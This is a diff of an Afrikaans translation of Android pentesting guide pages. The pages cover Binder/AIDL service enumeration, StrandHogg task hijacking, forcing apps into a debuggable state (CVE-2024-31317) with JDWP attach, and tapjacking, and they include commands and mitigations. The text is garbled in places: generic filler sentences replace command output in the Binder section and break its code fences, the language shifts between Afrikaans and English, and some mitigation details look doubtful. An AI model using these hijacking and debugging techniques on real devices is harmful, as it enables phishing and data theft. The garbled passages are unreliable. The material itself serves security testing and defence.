- **Messenger**: As 'n gekoppelde diens, fasiliteer Messenger IPC met 'n fokus op die verwerking van data deur die `onBind` metode. Dit is noodsaaklik om hierdie metode noukeurig te ondersoek vir enige onveilige datahantering of uitvoering van sensitiewe funksies.
|
||||
|
||||
- **Binder**: Alhoewel direkte gebruik van die Binder-klas minder algemeen is weens AIDL se abstraksie, is dit voordelig om te verstaan dat Binder as 'n kernvlak bestuurder optree wat datatransfer tussen die geheue ruimtes van verskillende prosesse fasiliteer. Vir verdere begrip is 'n hulpbron beskikbaar by [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
- **Binder**: Alhoewel direkte gebruik van die Binder klas minder algemeen is weens AIDL se abstraksie, is dit voordelig om te verstaan dat Binder as 'n kernvlak bestuurder optree wat datatransfer tussen die geheue ruimtes van verskillende prosesse fasiliteer. Vir verdere begrip is 'n hulpbron beskikbaar by [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
|
||||
## Komponente
|
||||
|
||||
@ -252,7 +252,7 @@ Aktiwiteite kan beskikbaar gestel word aan ander toepassings of prosesse deur di
|
||||
```
|
||||
However, toegang tot 'n aktiwiteit van 'n ander app is nie altyd 'n sekuriteitsrisiko nie. Die bekommernis ontstaan as sensitiewe data onregmatig gedeel word, wat kan lei tot inligtingslekke.
|
||||
|
||||
'n Aktiwiteit se lewensiklus **begin met die onCreate-metode**, wat die UI opstel en die aktiwiteit voorberei vir interaksie met die gebruiker.
|
||||
'n Aktiwiteit se lewensiklus **begin met die onCreate metode**, wat die UI opstel en die aktiwiteit voorberei vir interaksie met die gebruiker.
|
||||
|
||||
### Aansoek Subklas
|
||||
|
||||
@ -276,9 +276,9 @@ super.onCreate();
|
||||
|
||||
[Dienste](https://developer.android.com/guide/components/services) is **agtergrond operateurs** wat in staat is om take uit te voer sonder 'n gebruikerskoppelvlak. Hierdie take kan voortgaan om te loop selfs wanneer gebruikers na verskillende toepassings oorskakel, wat dienste noodsaaklik maak vir **langdurige operasies**.
|
||||
|
||||
Dienste is veelsydig; hulle kan op verskillende maniere geaktiveer word, met **Intents** as die primêre metode om hulle as 'n toepassing se toegangspunt te begin. Sodra 'n diens begin is met die `startService` metode, begin sy `onStart` metode en hou aan om te loop totdat die `stopService` metode eksplisiet aangeroep word. Alternatiewelik, as 'n diens se rol afhanklik is van 'n aktiewe kliëntverbinding, word die `bindService` metode gebruik om die kliënt aan die diens te bind, wat die `onBind` metode aktiveer vir dataverskuiwing.
|
||||
Dienste is veelsydig; hulle kan op verskeie maniere geaktiveer word, met **Intents** as die primêre metode om hulle as 'n toepassing se toegangspunt te begin. Sodra 'n diens begin is met die `startService` metode, begin sy `onStart` metode in aksie en hou aan om te loop totdat die `stopService` metode eksplisiet aangeroep word. Alternatiewelik, as 'n diens se rol afhanklik is van 'n aktiewe kliëntverbinding, word die `bindService` metode gebruik om die kliënt aan die diens te bind, wat die `onBind` metode aktiveer vir dataversending.
|
||||
|
||||
'n Interessante toepassing van dienste sluit agtergrondmusiekafspeel of netwerkdata-ophaal in sonder om die gebruiker se interaksie met 'n toepassing te hindern. Boonop kan dienste beskikbaar gemaak word vir ander prosesse op dieselfde toestel deur **uitvoer**. Dit is nie die standaardgedrag nie en vereis eksplisiete konfigurasie in die Android Manifest-lêer:
|
||||
'n Interessante toepassing van dienste sluit agtergrondmusiekafspeel of netwerkdata-opeising in sonder om die gebruiker se interaksie met 'n toepassing te hindern. Boonop kan dienste beskikbaar gemaak word vir ander prosesse op dieselfde toestel deur **uitvoer**. Dit is nie die standaardgedrag nie en vereis eksplisiete konfigurasie in die Android Manifest-lêer:
|
||||
```xml
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
@ -286,7 +286,7 @@ Dienste is veelsydig; hulle kan op verskillende maniere geaktiveer word, met **I
|
||||
|
||||
**Uitsendingsontvangers** dien as luisteraars in 'n boodskapstelsel, wat verskeie toepassings toelaat om op dieselfde boodskappe van die stelsel te reageer. 'n App kan **'n ontvanger registreer** op **twee primêre maniere**: deur die app se **Manifest** of **dynamies** binne die app se kode via die **`registerReceiver`** API. In die Manifest word uitsendings gefiltreer met toestemmings, terwyl dinamies geregistreerde ontvangers ook toestemmings kan spesifiseer tydens registrasie.
|
||||
|
||||
**Intent filters** is van kardinale belang in beide registrasiemetodes, wat bepaal watter uitsendings die ontvanger aktiveer. Sodra 'n ooreenstemmende uitsending gestuur word, word die ontvanger se **`onReceive`** metode aangeroep, wat die app in staat stel om ooreenkomstig te reageer, soos om gedrag aan te pas in reaksie op 'n lae battery waarskuwing.
|
||||
**Intent filters** is van kardinale belang in beide registrasiewyse, wat bepaal watter uitsendings die ontvanger aktiveer. Sodra 'n ooreenstemmende uitsending gestuur word, word die ontvanger se **`onReceive`** metode aangeroep, wat die app in staat stel om ooreenkomstig te reageer, soos om gedrag aan te pas in reaksie op 'n lae battery waarskuwing.
|
||||
|
||||
Uitsendings kan **asynchrone** wees, wat alle ontvangers sonder volgorde bereik, of **synchronies**, waar ontvangers die uitsending ontvang op grond van ingestelde prioriteite. Dit is egter belangrik om die potensiële sekuriteitsrisiko te noem, aangesien enige app homself kan prioriteer om 'n uitsending te onderskep.
|
||||
|
||||
@ -294,13 +294,13 @@ Om 'n ontvanger se funksionaliteit te verstaan, soek na die **`onReceive`** meto
|
||||
|
||||
### Inhoudverskaffer
|
||||
|
||||
**Inhoudverskaffers** is noodsaaklik vir **die deel van gestruktureerde data** tussen toepassings, wat die belangrikheid van die implementering van **toestemmings** beklemtoon om datasekuriteit te verseker. Hulle laat toepassings toe om toegang te verkry tot data van verskeie bronne, insluitend databasisse, lêerstelsels of die web. Spesifieke toestemmings, soos **`readPermission`** en **`writePermission`**, is noodsaaklik om toegang te beheer. Boonop kan tydelike toegang verleen word deur **`grantUriPermission`** instellings in die app se manifest, wat eienskappe soos `path`, `pathPrefix`, en `pathPattern` benut vir gedetailleerde toegangbeheer.
|
||||
**Inhoudverskaffers** is noodsaaklik vir **die deel van gestruktureerde data** tussen toepassings, wat die belangrikheid van die implementering van **toestemmings** beklemtoon om datasekuriteit te verseker. Hulle laat toepassings toe om toegang te verkry tot data van verskeie bronne, insluitend databasisse, lêerstelsels of die web. Spesifieke toestemmings, soos **`readPermission`** en **`writePermission`**, is van kardinale belang om toegang te beheer. Boonop kan tydelike toegang verleen word deur **`grantUriPermission`** instellings in die app se manifest, wat eienskappe soos `path`, `pathPrefix`, en `pathPattern` benut vir gedetailleerde toegangbeheer.
|
||||
|
||||
Invoervalidasie is van kardinale belang om kwesbaarhede, soos SQL-inspuiting, te voorkom. Inhoudverskaffers ondersteun basiese operasies: `insert()`, `update()`, `delete()`, en `query()`, wat datamanipulasie en -deling tussen toepassings fasiliteer.
|
||||
|
||||
**FileProvider**, 'n gespesialiseerde Inhoudverskaffer, fokus op die veilige deel van lêers. Dit word in die app se manifest gedefinieer met spesifieke eienskappe om toegang tot vouers te beheer, aangedui deur `android:exported` en `android:resource` wat na vouer konfigurasies verwys. Versigtigheid word aanbeveel wanneer daar direkteure gedeel word om te voorkom dat sensitiewe data per ongeluk blootgestel word.
|
||||
|
||||
Voorbeeld manifestverklaring vir FileProvider:
|
||||
Voorbeeld manifest verklaring vir FileProvider:
|
||||
```xml
|
||||
<provider android:name="androidx.core.content.FileProvider"
|
||||
android:authorities="com.example.myapp.fileprovider"
|
||||
@ -316,7 +316,7 @@ En 'n voorbeeld van die spesifisering van gedeelde vouers in `filepaths.xml`:
|
||||
<files-path path="images/" name="myimages" />
|
||||
</paths>
|
||||
```
|
||||
Vir verdere inligting, kyk:
|
||||
For further information check:
|
||||
|
||||
- [Android Developers: Content Providers](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
- [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||
@ -342,19 +342,19 @@ Om lêertoegang te beheer:
|
||||
|
||||
- Deaktiveer lêertoegang (`setAllowFileAccess(false)`) beperk toegang tot die lêerstelsel, met uitsonderings vir sekere bates, wat verseker dat hulle slegs vir nie-sensitiewe inhoud gebruik word.
|
||||
|
||||
## Ander App-komponente en Mobiele Toestelbestuur
|
||||
## Other App Components and Mobile Device Management
|
||||
|
||||
### **Digitale Handtekening van Toepassings**
|
||||
### **Digital Signing of Applications**
|
||||
|
||||
- **Digitale handtekening** is 'n moet vir Android-apps, wat verseker dat hulle **egte geskryf** is voor installasie. Hierdie proses gebruik 'n sertifikaat vir app-identifikasie en moet deur die toestel se pakketbestuurder geverifieer word tydens installasie. Apps kan **self-onderteken of gesertifiseer deur 'n eksterne CA** wees, wat beskerming bied teen ongeoorloofde toegang en verseker dat die app ongeskonde bly tydens sy aflewering aan die toestel.
|
||||
- **Digitale ondertekening** is 'n moet vir Android-apps, wat verseker dat hulle **egte oorsprong** het voor installasie. Hierdie proses gebruik 'n sertifikaat vir app-identifikasie en moet deur die toestel se pakketbestuurder geverifieer word tydens installasie. Apps kan **self-onderteken of gesertifiseer deur 'n eksterne CA** wees, wat beskerming bied teen ongemagtigde toegang en verseker dat die app ongeskonde bly tydens sy aflewering aan die toestel.
|
||||
|
||||
### **App-verifikasie vir Verbeterde Sekuriteit**
|
||||
### **App Verification for Enhanced Security**
|
||||
|
||||
- Begin vanaf **Android 4.2**, 'n funksie genaamd **Verify Apps** laat gebruikers toe om apps vir veiligheid te laat nagaan voor installasie. Hierdie **verifikasieproses** kan gebruikers waarsku teen potensieel skadelike apps, of selfs die installasie van veral kwaadwillige apps voorkom, wat gebruikers se sekuriteit verbeter.
|
||||
|
||||
### **Mobiele Toestelbestuur (MDM)**
|
||||
### **Mobile Device Management (MDM)**
|
||||
|
||||
- **MDM-oplossings** bied **toesig en sekuriteit** vir mobiele toestelle deur middel van **Device Administration API**. Hulle vereis die installasie van 'n Android-app om mobiele toestelle effektief te bestuur en te beveilig. Sleutel funksies sluit in **afdwinging van wagwoordbeleide**, **verpligte stoor-enkripsie**, en **toestemming vir afstandsdata-wipe**, wat omvattende beheer en sekuriteit oor mobiele toestelle verseker.
|
||||
- **MDM-oplossings** bied **toesig en sekuriteit** vir mobiele toestelle deur middel van **Device Administration API**. Hulle vereis die installasie van 'n Android-app om mobiele toestelle effektief te bestuur en te beveilig. Sleutelfunksies sluit in **afdwing van wagwoordbeleide**, **verpligte stoor-enkripsie**, en **toestemming vir afstandsdata-wipe**, wat omvattende beheer en sekuriteit oor mobiele toestelle verseker.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
@ -367,7 +367,7 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
```
|
||||
## Opname en Exploitering van AIDL / Binder Dienste
|
||||
|
||||
Android *Binder* IPC stel baie **stelsels en verskaffer-gelewer dienste** bloot. Daardie dienste word 'n **aanvalsvlak** wanneer hulle sonder 'n behoorlike toestemmingskontrole uitgevoer word (die AIDL-laag self voer *geen* toegangbeheer uit nie).
|
||||
Android *Binder* IPC stel baie **stelsels en verskaffer-gelewer dienste** bloot. Daardie dienste word 'n **aanvaloppervlak** wanneer hulle sonder 'n behoorlike toestemmingskontrole uitgevoer word (die AIDL-laag self voer *geen* toegangbeheer uit nie).
|
||||
|
||||
### 1. Ontdek lopende dienste
|
||||
```bash
|
||||
@ -375,11 +375,11 @@ Android *Binder* IPC stel baie **stelsels en verskaffer-gelewer dienste** bloot.
|
||||
service list # simple one-liner
|
||||
am list services # identical output, ActivityManager wrapper
|
||||
```
|
||||
1. Android-toepassings is 'n belangrike deel van mobiele toestelle.
|
||||
2. Dit is noodsaaklik om die sekuriteit van hierdie toepassings te verstaan.
|
||||
3. Die meeste Android-toepassings gebruik 'n verskeidenheid API's.
|
||||
4. Ontwikkelaars moet bewus wees van potensiële kwesbaarhede.
|
||||
5. Dit sluit in: onveilige datastoor, swak kodering, en onvoldoende toegangsbeheer.
|
||||
1. Android-toepassings is 'n belangrike deel van mobiele toestels en bied 'n verskeidenheid funksies en dienste.
|
||||
2. Die ontwikkeling van Android-toepassings vereis 'n begrip van die Android-argitektuur en die verskillende komponente.
|
||||
3. Veiligheid is 'n kritieke aspek van Android-toepassings, en dit is noodsaaklik om kwesbaarhede te identifiseer en aan te spreek.
|
||||
4. Pentesting van Android-toepassings behels die gebruik van verskeie tegnieke om die sekuriteit van die toepassing te toets.
|
||||
5. Dit is belangrik om 'n gestructureerde benadering te volg wanneer jy Android-toepassings toets, insluitend die gebruik van metodologieë en hulpmiddels.
|
||||
```
|
||||
145 mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
|
||||
146 wifi : [android.net.wifi.IWifiManager]
|
||||
@ -423,7 +423,7 @@ done
|
||||
As die diens **met proguard** gecompileer is, moet die kaartlegging geraai word – sien volgende stap.
|
||||
|
||||
### 5. Kaartkode ↔ metodes via onTransact()
|
||||
Decompile die jar/odex wat die koppelvlak implementeer (vir AOSP stubs kyk na `/system/framework`; OEMs gebruik dikwels `/system_ext` of `/vendor`).
|
||||
Decompile die jar/odex wat die koppelvlak implementeer (vir AOSP stubs kyk `/system/framework`; OEMs gebruik dikwels `/system_ext` of `/vendor`).
|
||||
Soek vir `Stub.onTransact()` – dit bevat 'n reuse `switch(transactionCode)`:
|
||||
```java
|
||||
case TRANSACTION_updateCtaAppStatus: // 5
|
||||
@ -448,11 +448,11 @@ throw new SecurityException("uid " + uid + " rejected");
|
||||
```
|
||||
Die afwesigheid van sulke logika of 'n witlys van bevoorregte UID's (bv. `uid == 1000 /*system*/`) is 'n **kwesbaarheid aanduiding**.
|
||||
|
||||
Gevalstudie – *MediaTek* `startMonitorProcessWithUid()` (transaksie **8**) voer 'n Netlink-boodskap **sonder** enige toestemming hek uit, wat 'n onbevoegde app toelaat om met die kern se Netfilter-module te kommunikeer en die stelsellog te spam.
|
||||
Gevalstudie – *MediaTek* `startMonitorProcessWithUid()` (transaksie **8**) voer 'n Netlink boodskap **sonder** enige toestemming hek volledig uit, wat 'n onbevoegde app toelaat om met die kern se Netfilter module te kommunikeer en die stelsellog te spam.
|
||||
|
||||
### 7. Outomatisering van die assessering
|
||||
Gereedskap / skripte wat Binder verkenning versnel:
|
||||
* [binderfs](https://android.googlesource.com/platform/frameworks/native/+/master/cmds/binderfs/) – stel `/dev/binderfs` met per-diens knope bloot
|
||||
* [binderfs](https://android.googlesource.com/platform/frameworks/native/+/master/cmds/binderfs/) – stel `/dev/binderfs` met per-diens nodes bloot
|
||||
* [`binder-scanner.py`](https://github.com/adenflare/binder-scanner) – loop deur die binder tabel en druk ACL's
|
||||
* Frida snelkoppeling: `Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))`
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Taak, Terug Stapel en Voorgrond Aktiwiteite
|
||||
|
||||
In Android is 'n **taak** basies 'n stel aktiwiteite waarmee gebruikers interaksie het om 'n spesifieke werk te voltooi, georganiseer binne 'n **terug stapel**. Hierdie stapel orden aktiwiteite op grond van wanneer hulle geopen is, met die mees onlangse aktiwiteit wat bo-aan vertoon word as die **voorgrond aktiwiteit**. Op enige oomblik is slegs hierdie aktiwiteit sigbaar op die skerm, wat dit deel van die **voorgrond taak** maak.
|
||||
In Android is 'n **taak** basies 'n stel aktiwiteite waarmee gebruikers interaksie het om 'n spesifieke werk te voltooi, georganiseer binne 'n **terug stapel**. Hierdie stapel orden aktiwiteite op grond van wanneer hulle geopen is, met die mees onlangse aktiwiteit wat boaan as die **voorgrond aktiwiteit** vertoon. Op enige oomblik is slegs hierdie aktiwiteit sigbaar op die skerm, wat dit deel van die **voorgrond taak** maak.
|
||||
|
||||
Hier is 'n vinnige opsomming van aktiwiteit oorgange:
|
||||
|
||||
@ -23,7 +23,7 @@ Hier is 'n vinnige opsomming van aktiwiteit oorgange:
|
||||
|
||||
As 'n aanvaller 'n kwaadwillige aktiwiteit aan die **wortel** van daardie stapel kan plaas, sal elke keer wanneer die slagoffer die wettige toepassing oopmaak, die kwaadwillige UI die eerste ding wees wat die gebruiker sien – perfek vir phishing of misbruik van toestemmingsversoeke.
|
||||
|
||||
Die aanval oppervlak is wyer as wat baie ontwikkelaars dink omdat **elke aktiwiteit outomaties 'n affiniteit erf gelyk aan die toepassingspakketnaam** (tenzij die ontwikkelaar `android:taskAffinity=""` stel). Daarom *doen niks* reeds die app oop vir taak hijacking op Android weergawes voor 11.
|
||||
Die aanval oppervlak is breër as wat baie ontwikkelaars dink omdat **elke aktiwiteit outomaties 'n affiniteit erf gelyk aan die toepassingspakketnaam** (tenzij die ontwikkelaar `android:taskAffinity=""` stel). Daarom *doen niks* reeds die app oop vir taak hijacking op Android weergawes voor 11.
|
||||
|
||||
### Klassieke "singleTask / StrandHogg" scenario
|
||||
|
||||
@ -70,13 +70,13 @@ android:taskAffinity="com.caller.id.phone.number.block" >
|
||||
3. Sodra die gebruiker die kwaadwillige app **een keer** installeer en oopmaak, bestaan 'n taak waarvan die affiniteit gelyk is aan die slagoffer pakket (maar in die agtergrond sit).
|
||||
4. Wanneer die werklike Caller ID toepassing bekendgestel word, hergebruik Android daardie taak en bring `HackActivity` na die voorgrond → phishing venster/toestemming misbruik.
|
||||
|
||||
> LET WEL: Begin met **Android 11 (API 30)** plaas die stelsel *nie* twee pakkette wat nie deel is van dieselfde UID in dieselfde taak nie, wat hierdie spesifieke variasie verminder. Ou weergawes bly kwesbaar.
|
||||
> LET WEL: Begin met **Android 11 (API 30)** plaas die stelsel *nie* twee pakkette wat nie deel van dieselfde UID is nie in dieselfde taak nie, wat hierdie spesifieke variasie verminder. Ouers weergawes bly kwesbaar.
|
||||
|
||||
---
|
||||
|
||||
### StrandHogg 2.0 (CVE-2020-0096) – Refleksie-gebaseerde taak hijack
|
||||
|
||||
Google se Mei-2020 sekuriteitsbulletin het 'n meer gevorderde variasie genaamd **StrandHogg 2.0** reggestel. Die uitbuiting **hang glad nie van `taskAffinity` af**; eerder gebruik dit *refleksie* om dinamies die aanvaller se aktiwiteit aan die bokant van *elke* lopende taak in te voeg, wat die “gedeelde-UID” beperking wat deur Android 11 bekendgestel is, heeltemal omseil.
|
||||
Google se Mei-2020 sekuriteitsbulletin het 'n meer gevorderde variasie genaamd **StrandHogg 2.0** reggestel. Die uitbuiting **hang glad nie van `taskAffinity` af nie**; eerder gebruik dit *refleksie* om dinamies die aanvaller se aktiwiteit aan die bokant van *elke* lopende taak in te voeg, wat die “gedeelde-UID” beperking wat deur Android 11 bekendgestel is, heeltemal omseil.
|
||||
|
||||
Belangrike punte:
|
||||
|
||||
@ -104,7 +104,7 @@ java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
|
||||
```bash
|
||||
adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"
|
||||
```
|
||||
'n Taak waarvan die wortel affiniteit gelyk is aan die slagoffer pakket, maar waarvan die boonste aktiwiteit aan 'n *ander* pakket behoort, is 'n rooi vlag.
|
||||
'n Taak waarvan die wortel affiniteit gelyk is aan die slagoffer pakket maar waarvan die boonste aktiwiteit aan 'n *ander* pakket behoort, is 'n rooi vlag.
|
||||
3. Skep 'n kwaadwillige app soos hierbo beskryf, of gebruik **[Drozer](https://github.com/WithSecureLabs/drozer)**:
|
||||
```bash
|
||||
drozer console connect
|
||||
@ -122,7 +122,7 @@ Ontwikkelaars moet:
|
||||
* Vir hoogs sensitiewe skerms, kombineer die bogenoemde met `android:launchMode="singleInstance"` of moderne [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) beskermings.
|
||||
* Opgradeer die app se `targetSdkVersion` en handhaaf **Android 11** gedragsveranderinge waar take nie standaard oor pakkette gedeel word nie.
|
||||
* Teiken **Android 12 (API 31) of hoër** sodat die verpligte `android:exported` attribuut ontwikkelaars dwing om elke eksterne bereikbare komponent te oudit.
|
||||
* Oorweeg tyd van uitvoering self-verdediging: periodiek `ActivityTaskManager` vra om te verseker dat jou boonste aktiwiteit se pakket jou eie ooreenstem.
|
||||
* Oorweeg tyd van uitvoering self-verdediging: periodiek vra `ActivityTaskManager` om te verseker dat jou boonste aktiwiteit se pakket jou eie ooreenstem.
|
||||
|
||||
---
|
||||
|
||||
|
@ -14,7 +14,7 @@ Inhoud gebaseer op https://medium.com/@shubhamsonani/hacking-with-precision-bypa
|
||||
|
||||
1. **Decompile die APK:**
|
||||
|
||||
- Gebruik die APK-GUI gereedskap om die APK te dekompileer.
|
||||
- Gebruik die APK-GUI hulpmiddel om die APK te dekompileer.
|
||||
- In die _android-manifest_ lêer, voeg `android:debuggable="true"` in om die debugmodus te aktiveer.
|
||||
- Hercompileer, teken en zipalign die gewysigde toepassing.
|
||||
|
||||
@ -48,7 +48,7 @@ Die toepassing sal op sekere punte verifieer of dit debuggable is en sal ook kon
|
||||
Vir die debuggable kontrole:
|
||||
|
||||
1. **Wysig Vlag Instellings:**
|
||||
- In die debugger konsole se veranderlike afdeling, navigeer na: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
|
||||
- In die debugger-konsol se veranderlike afdeling, navigeer na: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
|
||||
- **Let wel:** Die binêre voorstelling van `flags = 814267974` is `11000011100111011110`, wat aandui dat die "Flag_debuggable" aktief is.
|
||||
|
||||

|
||||
@ -63,31 +63,31 @@ Stap 2 behels die verandering van 'n vlagwaarde na 814267972, wat in binêr voor
|
||||
|
||||
## **Kontroleer vir Kwessie**
|
||||
|
||||
- Die toepassing is gedekomplileer met `apktool` om toegang tot die `AndroidManifest.xml` lêer te verkry.
|
||||
- Die toepassing is gedekomplileer met behulp van `apktool` om toegang te verkry tot die `AndroidManifest.xml` lêer.
|
||||
- Die teenwoordigheid van `android_debuggable="true"` in die AndroidManifest.xml dui aan dat die toepassing debuggable is en vatbaar is vir eksploitasie.
|
||||
- Dit is die moeite werd om te noem dat `apktool` slegs gebruik word om die debuggable status te kontroleer sonder om enige kode te verander.
|
||||
|
||||
## **Voorbereiding van die Stel**
|
||||
|
||||
- Die proses het behels om 'n emulator te begin, die kwesbare toepassing te installeer, en `adb jdwp` te gebruik om Dalvik VM-poorte te identifiseer wat luister.
|
||||
- Die JDWP (Java Debug Wire Protocol) stel die debugging van 'n toepassing wat in 'n VM loop, in deur 'n unieke poort bloot te stel.
|
||||
- Die JDWP (Java Debug Wire Protocol) stel die debugging van 'n toepassing wat in 'n VM loop in deur 'n unieke poort bloot te stel.
|
||||
- Poort forwarding was nodig vir afstand debugging, gevolg deur die aanhegting van JDB aan die teiken toepassing.
|
||||
|
||||
## **Inspuiting van Kode tydens Uitvoering**
|
||||
|
||||
- Die eksploitasie is uitgevoer deur breekpunte te stel en die toepassing se vloei te beheer.
|
||||
- Die eksploitering is uitgevoer deur breekpunte in te stel en die toepassing se vloei te beheer.
|
||||
- Opdragte soos `classes` en `methods <class_name>` is gebruik om die toepassing se struktuur te ontdek.
|
||||
- 'n Breekpunt is gestel by die `onClick` metode, en die uitvoering daarvan is beheer.
|
||||
- 'n Breekpunt is gestel by die `onClick` metode, en sy uitvoering is beheer.
|
||||
- Die `locals`, `next`, en `set` opdragte is gebruik om plaaslike veranderlikes te ondersoek en te wysig, veral om die "Try Again" boodskap na "Hacked" te verander.
|
||||
- Die gewysigde kode is uitgevoer met die `run` opdrag, wat suksesvol die toepassing se uitvoer in werklike tyd verander het.
|
||||
- Die gewysigde kode is uitgevoer met behulp van die `run` opdrag, wat suksesvol die toepassing se uitvoer in werklike tyd verander het.
|
||||
|
||||
Hierdie voorbeeld het gedemonstreer hoe die gedrag van 'n debuggable toepassing gemanipuleer kan word, wat die potensiaal vir meer komplekse eksploite soos die verkryging van shell toegang op die toestel in die toepassing se konteks beklemtoon.
|
||||
Hierdie voorbeeld het gedemonstreer hoe die gedrag van 'n debuggable toepassing gemanipuleer kan word, wat die potensiaal vir meer komplekse eksploite soos om toegang tot die shell op die toestel in die toepassing se konteks te verkry, beklemtoon.
|
||||
|
||||
---
|
||||
|
||||
# 2024 – Om **enige** toepassing in 'n debuggable proses te verander (CVE-2024-31317)
|
||||
|
||||
Selfs al is die teiken APK _nie_ gestuur met die `android:debuggable` vlag nie, het onlangse navorsing getoon dat dit moontlik is om **arbitraire toepassings** te dwing om te begin met die `DEBUG_ENABLE_JDWP` runtime vlag deur die manier waarop Zygote opdraglynargumente ontleed, te misbruik.
|
||||
Selfs al is die teiken APK _nie_ gestuur met die `android:debuggable` vlag nie, het onlangse navorsing getoon dat dit moontlik is om **arbitraire toepassings** te dwing om met die `DEBUG_ENABLE_JDWP` runtime vlag te begin deur die manier waarop Zygote opdraglynargumente ontleed, te misbruik.
|
||||
|
||||
* **Kwessie:** Onbehoorlike validasie van `--runtime-flags` wat deur Zygote se opdrag socket verskaf word, laat 'n aanvaller wat toegang kan verkry tot `system_server` (byvoorbeeld via die bevoorregte `adb` shell wat die `WRITE_SECURE_SETTINGS` toestemming besit) toe om ekstra parameters in te spuit. Wanneer die vervaardigde opdrag deur `system_server` herhaal word, word die slagoffer-toepassing as _debuggable_ en met 'n JDWP-draad wat luister, gefork. Die probleem word as **CVE-2024-31317** gevolg en is in die Junie 2024 Android Sekuriteitsbulletin reggestel.
|
||||
* **Impak:** Volledige lees/skryf toegang tot die privaat datagids van **enige** app (insluitend bevoorregte soos `com.android.settings`), token-diefstal, MDM-omseiling, en in baie gevalle 'n direkte pad na voorreg-verhoging deur die uitgevoerde IPC eindpunte van die nou-debuggable proses te misbruik.
|
||||
@ -112,8 +112,8 @@ jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
|
||||
## Detectie & Versagting
|
||||
|
||||
* Patch na **2024-06-01** (of later) sekuriteitsvlak – Google het `ZygoteCommandBuffer` versterk sodat daaropvolgende opdragte nie op hierdie manier gesmokkel kan word nie.
|
||||
* Beperk `WRITE_SECURE_SETTINGS` / `shell` toegang op produksietoestelle. Die ontploffing vereis hierdie toestemming, wat normaalweg net deur ADB of OEM-bevoorregte apps besit word.
|
||||
* Op EMM/MDM-gemanagerde vloot, afdwing `ro.debuggable=0` en weier shell via `adb disable-verifier`.
|
||||
* Beperk `WRITE_SECURE_SETTINGS` / `shell` toegang op produksietoestelle. Die uitbuiting vereis hierdie toestemming, wat normaalweg net deur ADB of OEM-bevoorregte apps besit word.
|
||||
* Op EMM/MDM-gemanagerde vloot, handhaaf `ro.debuggable=0` en weier shell via `adb disable-verifier`.
|
||||
|
||||
---
|
||||
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## **Basiese Inligting**
|
||||
|
||||
**Tapjacking** is 'n aanval waar 'n **kwaadwillige** **toepassing** gelanseer word en **homself bo-op 'n slagoffer-toepassing posisioneer**. Sodra dit die slagoffer-toepassing sigbaar obscuur, is sy gebruikerskoppelvlak ontwerp om die gebruiker te mislei om met dit te interaksie, terwyl dit die interaksie aan die slagoffer-toepassing oorgedra.\
|
||||
@ -10,7 +9,7 @@ In werklikheid, dit **blind die gebruiker om te weet dat hulle eintlik aksies op
|
||||
|
||||
### Opsporing
|
||||
|
||||
Om toepassings wat kwesbaar is vir hierdie aanval te ontdek, moet jy soek na **geëksporteerde aktiwiteite** in die android-manifes (let daarop dat 'n aktiwiteit met 'n intent-filter outomaties geëksporteer word as standaard). Sodra jy die geëksporteerde aktiwiteite gevind het, **kyk of hulle enige toestemming vereis**. Dit is omdat die **kwaadwillige toepassing daardie toestemming ook nodig sal hê**.
|
||||
Om toepassings wat kwesbaar is vir hierdie aanval op te spoor, moet jy soek na **geëksporteerde aktiwiteite** in die android-manifes (let daarop dat 'n aktiwiteit met 'n intent-filter outomaties geëksporteer word as standaard). Sodra jy die geëksporteerde aktiwiteite gevind het, **kyk of hulle enige toestemming vereis**. Dit is omdat die **kwaadwillige toepassing daardie toestemming ook nodig sal hê**.
|
||||
|
||||
Jy kan ook die minimum SDK-weergawe van die toepassing nagaan, deur die waarde van **`android:minSdkVersion`** in die **`AndroidManifest.xml`**-lêer te kontroleer. As die waarde **laer as 30** is, is die toepassing kwesbaar vir Tapjacking.
|
||||
|
||||
@ -22,7 +21,7 @@ Jy kan ook die minimum SDK-weergawe van die toepassing nagaan, deur die waarde v
|
||||
|
||||
#### `filterTouchesWhenObscured`
|
||||
|
||||
As **`android:filterTouchesWhenObscured`** op **`true`** gestel is, sal die `View` nie aanrakinge ontvang wanneer die venster van die view deur 'n ander sigbare venster obscuur word nie.
|
||||
As **`android:filterTouchesWhenObscured`** op **`true`** gestel is, sal die `View` nie aanrakinge ontvang wanneer die venster van die weergawe deur 'n ander sigbare venster obscuur word nie.
|
||||
|
||||
#### **`setFilterTouchesWhenObscured`**
|
||||
|
||||
@ -46,7 +45,7 @@ Volg die **README-instruksies om dit te gebruik**.
|
||||
|
||||
### FloatingWindowApp
|
||||
|
||||
'n Voorbeeldprojek wat **FloatingWindowApp** implementeer, wat gebruik kan word om bo ander aktiwiteite te plaas om 'n clickjacking-aanval uit te voer, kan gevind word in [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (dit is 'n bietjie oud, goeie geluk met die bou van die apk).
|
||||
'n Voorbeeldprojek wat **FloatingWindowApp** implementeer, wat gebruik kan word om bo-op ander aktiwiteite te plaas om 'n clickjacking-aanval uit te voer, kan gevind word in [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (dit is 'n bietjie oud, sterkte met die bou van die apk).
|
||||
|
||||
### Qark
|
||||
|
||||
